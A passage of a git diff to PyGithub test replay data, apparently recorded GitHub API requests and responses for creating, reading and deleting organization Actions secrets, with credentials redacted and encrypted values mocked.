('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'F014:47A9:28E7DB0:63DABC6:60E5C0F4')] -https -GET -api.github.com -None -/orgs/coveooss/actions/secrets/test_secret -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a0fdcb6e948d026811f21ec3df1d2d9e041b6350d2b745c0346bf97027d4f39a"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4950'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '50'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F015:2857:35FE280:6C9CABC:60E5C0F5')] -{"name":"TEST_SECRET","created_at":"2021-07-07T14:57:00Z","updated_at":"2021-07-07T14:57:10Z","visibility":"all"} - https GET api.github.com @@ -63,4 +52,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"401b2cb895dd5ad8f9055b37d654b1735015a0e5e8be27ed064334c735c01d9e"'), ('Last-Modified', 'Wed, 07 Jul 2021 13:48:46 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4948'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '52'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F017:74F1:1EA657D:47FDAFF:60E5C0F5')] {"id":383814132,"node_id":"MDEwOlJlcG9zaXRvcnkzODM4MTQxMzI=","name":"github-app-playground2","full_name":"coveooss/github-app-playground2","private":true,"owner":{"login":"coveooss","id":52070292,"node_id":"MDEyOk9yZ2FuaXphdGlvbjUyMDcwMjky","avatar_url":"https://avatars.githubusercontent.com/u/52070292?v=4","gravatar_id":"","url":"https://api.github.com/users/coveooss","html_url":"https://github.com/coveooss","followers_url":"https://api.github.com/users/coveooss/followers","following_url":"https://api.github.com/users/coveooss/following{/other_user}","gists_url":"https://api.github.com/users/coveooss/gists{/gist_id}","starred_url":"https://api.github.com/users/coveooss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coveooss/subscriptions","organizations_url":"https://api.github.com/users/coveooss/orgs","repos_url":"https://api.github.com/users/coveooss/repos","events_url":"https://api.github.com/users/coveooss/events{/privacy}","received_events_url":"https://api.github.com/users/coveooss/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/coveooss/github-app-playground2","description":"Another","fork":false,"url":"https://api.github.com/repos/coveooss/github-app-playground2","forks_url":"https://api.github.com/repos/coveooss/github-app-playground2/forks","keys_url":"https://api.github.com/repos/coveooss/github-app-playground2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/coveooss/github-app-playground2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/coveooss/github-app-playground2/teams","hooks_url":"https://api.github.com/repos/coveooss/github-app-playground2/hooks","issue_events_url":"https://api.github.com/repos/coveooss/github-app-playground2/issues/events{/number}","events_url":"https://api.github.com/repos/coveooss/github-app-playground2/events","assignees_url":"https://api.github.com/repos/coveooss/github-app-playground2/assignees{/user}","branches_url":"https://api.github.com/repos/coveooss/github-app-playground2/branches{/branch}","tags_url":"https://api.github.com/repos/coveooss/github-app-playground2/tags","blobs_url":"https://api.github.com/repos/coveooss/github-app-playground2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/coveooss/github-app-playground2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/coveooss/github-app-playground2/git/refs{/sha}","trees_url":"https://api.github.com/repos/coveooss/github-app-playground2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/coveooss/github-app-playground2/statuses/{sha}","languages_url":"https://api.github.com/repos/coveooss/github-app-playground2/languages","stargazers_url":"https://api.github.com/repos/coveooss/github-app-playground2/stargazers","contributors_url":"https://api.github.com/repos/coveooss/github-app-playground2/contributors","subscribers_url":"https://api.github.com/repos/coveooss/github-app-playground2/subscribers","subscription_url":"https://api.github.com/repos/coveooss/github-app-playground2/subscription","commits_url":"https://api.github.com/repos/coveooss/github-app-playground2/commits{/sha}","git_commits_url":"https://api.github.com/repos/coveooss/github-app-playground2/git/commits{/sha}","comments_url":"https://api.github.com/repos/coveooss/github-app-playground2/comments{/number}","issue_comment_url":"https://api.github.com/repos/coveooss/github-app-playground2/issues/comments{/number}","contents_url":"https://api.github.com/repos/coveooss/github-app-playground2/contents/{+path}","compare_url":"https://api.github.com/repos/coveooss/github-app-playground2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/coveooss/github-app-playground2/merges","archive_url":"https://api.github.com/repos/coveooss/github-app-playground2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/coveooss/github-app-playground2/downloads","issues_url":"https://api.github.com/repos/coveooss/github-app-playground2/issues{/number}","pulls_url":"https://api.github.com/repos/coveooss/github-app-playground2/pulls{/number}","milestones_url":"https://api.github.com/repos/coveooss/github-app-playground2/milestones{/number}","notifications_url":"https://api.github.com/repos/coveooss/github-app-playground2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/coveooss/github-app-playground2/labels{/name}","releases_url":"https://api.github.com/repos/coveooss/github-app-playground2/releases{/id}","deployments_url":"https://api.github.com/repos/coveooss/github-app-playground2/deployments","created_at":"2021-07-07T13:48:46Z","updated_at":"2021-07-07T13:48:46Z","pushed_at":"2021-07-07T13:48:48Z","git_url":"git://github.com/coveooss/github-app-playground2.git","ssh_url":"git@github.com:coveooss/github-app-playground2.git","clone_url":"https://github.com/coveooss/github-app-playground2.git","svn_url":"https://github.com/coveooss/github-app-playground2","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"ABL6CDYJNHIASF67PGVXS7TA4XBCC","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"organization":{"login":"coveooss","id":52070292,"node_id":"MDEyOk9yZ2FuaXphdGlvbjUyMDcwMjky","avatar_url":"https://avatars.githubusercontent.com/u/52070292?v=4","gravatar_id":"","url":"https://api.github.com/users/coveooss","html_url":"https://github.com/coveooss","followers_url":"https://api.github.com/users/coveooss/followers","following_url":"https://api.github.com/users/coveooss/following{/other_user}","gists_url":"https://api.github.com/users/coveooss/gists{/gist_id}","starred_url":"https://api.github.com/users/coveooss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coveooss/subscriptions","organizations_url":"https://api.github.com/users/coveooss/orgs","repos_url":"https://api.github.com/users/coveooss/repos","events_url":"https://api.github.com/users/coveooss/events{/privacy}","received_events_url":"https://api.github.com/users/coveooss/received_events","type":"Organization","site_admin":false},"network_count":0,"subscribers_count":1} - diff --git a/tests/ReplayData/OrganizationSecrets.testCreateOrUpdateSecret.txt b/tests/ReplayData/OrganizationSecrets.testCreateOrUpdateSecret.txt index bd3997a2d9..8f6a420dea 100644 --- a/tests/ReplayData/OrganizationSecrets.testCreateOrUpdateSecret.txt +++ b/tests/ReplayData/OrganizationSecrets.testCreateOrUpdateSecret.txt @@ -20,49 +20,16 @@ None [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"c4606c130c7721bb585650252d80e1ff8f820824f646c6deac669e8a152b3888"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'EFF2:54D5:1BFBD4D:416F9AA:60E5C0EA')] {} -https -GET -api.github.com -None -/orgs/coveooss/actions/secrets/public-key -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"211785f224e61d19e5d0e0d4c3f181e89576e367101befe77b7c7fa3e2c2cb65"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '17'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EFF3:2857:35FDE0D:6C9C289:60E5C0EA')] -{"key_id":"123456789012345678","key":"lDKSdOTEH06B1Gm3ofwTVG9IVSrKBKSeTYz4/WDoB18="} - -https -PUT -api.github.com -None -/orgs/coveooss/actions/secrets/TEST_FUN_SECRET -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{"encrypted_value": "MOCK_ENCRYPTED_VALUE", "key_id": "123456789012345678", "visibility": "all"} -204 -[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:47 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4982'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '18'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'EFF4:7C55:29FEC9F:7EC471D:60E5C0EB')] - - -https -GET -api.github.com -None -/orgs/coveooss/actions/secrets/TEST_FUN_SECRET -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4e35b0cb30b3a2f1da7f70c6d9c9ad7f3e49ffe17e4fb0d52b6d9d0a28fd5a9f"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4981'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '19'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EFF5:3394:32B7A73:5E698AE:60E5C0EB')] -{"name":"TEST_FUN_SECRET","created_at":"2021-07-07T14:57:00Z","updated_at":"2021-07-07T14:57:10Z","visibility":"all"} - https DELETE api.github.com None /orgs/coveooss/actions/secrets/TEST_FUN_SECRET {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None +{} 204 -[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:47 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4980'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '20'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'EFF6:47AB:38E3593:AB4F58D:60E5C0EB')] - +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"c4606c130c7721bb585650252d80e1ff8f820824f646c6deac669e8a152b3888"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'EFF2:54D5:1BFBD4D:416F9AA:60E5C0EA')] +{} https GET @@ -72,7 +39,7 @@ None {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"211785f224e61d19e5d0e0d4c3f181e89576e367101befe77b7c7fa3e2c2cb65"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '21'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EFF7:50EF:347B7EF:6701558:60E5C0EC')] +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"211785f224e61d19e5d0e0d4c3f181e89576e367101befe77b7c7fa3e2c2cb65"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '17'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EFF3:2857:35FDE0D:6C9C289:60E5C0EA')] {"key_id":"123456789012345678","key":"lDKSdOTEH06B1Gm3ofwTVG9IVSrKBKSeTYz4/WDoB18="} https @@ -94,7 +61,7 @@ None {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"211785f224e61d19e5d0e0d4c3f181e89576e367101befe77b7c7fa3e2c2cb65"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EFF9:54D6:34383A4:6488CCC:60E5C0EC')] +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"211785f224e61d19e5d0e0d4c3f181e89576e367101befe77b7c7fa3e2c2cb65"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '17'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EFF3:2857:35FDE0D:6C9C289:60E5C0EA')] {"key_id":"123456789012345678","key":"lDKSdOTEH06B1Gm3ofwTVG9IVSrKBKSeTYz4/WDoB18="} https @@ -105,8 +72,8 @@ None {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"encrypted_value": "MOCK_ENCRYPTED_VALUE", "key_id": "123456789012345678", "visibility": "selected", "selected_repository_ids": [383806965]} 204 -[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:49 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), 